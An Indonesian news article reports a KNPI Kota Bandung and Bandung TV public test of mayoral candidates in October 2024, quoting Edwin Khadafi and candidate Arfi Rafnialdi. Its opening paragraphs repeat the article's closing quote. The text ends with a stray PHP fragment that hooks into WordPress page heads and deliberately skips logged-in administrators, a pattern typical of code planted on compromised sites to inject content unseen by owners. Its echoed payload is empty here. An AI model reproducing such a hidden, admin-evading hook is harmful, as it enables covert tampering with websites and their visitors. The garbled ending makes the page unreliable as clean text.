    “Masyarakat beroleh kesempatan untuk bisa mendengar, mengetahui, bahkan mengupas gagasan dari para paslon ihwal langkah menuntaskan tiap-tiap persoalan di Kota Bandung. Memfasilitasi dan mengajak para pemuda dalam membangun maupun menyelesaikan persoalan di Kota Bandung menjadi poin penting dalam program pasangan Arfi-Yena,” ucap Kang Arfi. 
    Kang Arfi menekankan bahwa pasangan nomor urut 4 di Pilkada Kota Bandung berkomitmen untuk membangun kolaborasi yang erat dengan berbagai elemen masyarakat di Kota Bandung. Ia menjelaskan bahwa kolaborasi ini tidak hanya akan terbatas pada aksi nyata, tetapi juga akan mencakup pertukaran gagasan dan pemikiran yang konstruktif. Menurutnya, melibatkan berbagai pihak dalam diskusi dan pengembangan ide sangat penting untuk menciptakan solusi yang lebih efektif bagi permasalahan yang dihadapi oleh kota.***
  • Calon Wali Kota Bandung Arfi Rafnialdi Apresiasi Uji Publik KNPI dan Bandung TV

    BANDUNG, VISTA NUSANTARA Dewan Pimpinan Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Bandung bekerja sama dengan Bandung TV mengadakan Uji Publik Calon Wali Kota Bandung, Rabu (16/10/2024) malam. Format acara itu mengingatkan debat pasangan calon pada tahapan pemilu maupun Pilkada.
    Edwin Khadafi, Ketua DPD KNPI Kota Bandung, menyampaikan bahwa acara ini diselenggarakan untuk menebarkan semangat kontestasi berbasis gagasan. Ia menekankan pentingnya hal tersebut, mengingat generasi Z dan milenial mendominasi jumlah pemilih di Kota Bandung.
    “Gabungan generasi Z dan milenial di Kota Bandung hampir 60 persen. Salah satu karakteristik pemilih usia muda, yaknu melek informasi. Berlandaskan hal itu, kami perlu menyebarluaskan gagasan dari tiap-tiap pasangan calon,” ucap Edwin sesuai acara. 
    Edwin Khadafi menyampaikan bahwa harapan utama pemuda kepada pemimpin Kota Bandung adalah mampu mewujudkan semangat partisipatif. Pemuda menginginkan pemimpin yang merangkul, mendengarkan, dan menghadirkan semangat kebersamaan dalam pembangunan Kota Bandung.
    “Energi pemuda kan luar biasa besar. Harapannya, siapa pun (paslon) yang terpilih nanti, merangkul pemuda dengan energi yang begitu besar itu untuk semakin memajukan dan memberikan kebahagiaan bagi masyarakat Kota Bandung,” ucap Edwin. 
    Arfi Rafnialdi, calon Wali Kota Bandung nomor urut 4, memuji KNPI Kota Bandung atas penyelenggaraan acara yang bekerja sama dengan Bandung TV. Menurutnya, acara ini berhasil membangun iklim kontestasi yang cerdas dengan mengundang para paslon.
    “Masyarakat beroleh kesempatan untuk bisa mendengar, mengetahui, bahkan mengupas gagasan dari para paslon ihwal langkah menuntaskan tiap-tiap persoalan di Kota Bandung. Memfasilitasi dan mengajak para pemuda dalam membangun maupun menyelesaikan persoalan di Kota Bandung menjadi poin penting dalam program pasangan Arfi-Yena,” ucap Kang Arfi. 
    Kang Arfi menyampaikan bahwa pasangan nomor urut 4 di Pilkada Kota Bandung berkomitmen menjalin kolaborasi dengan berbagai elemen di Kota Bandung, termasuk dalam hal gagasan, tidak hanya terbatas pada aksi nyata.***
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);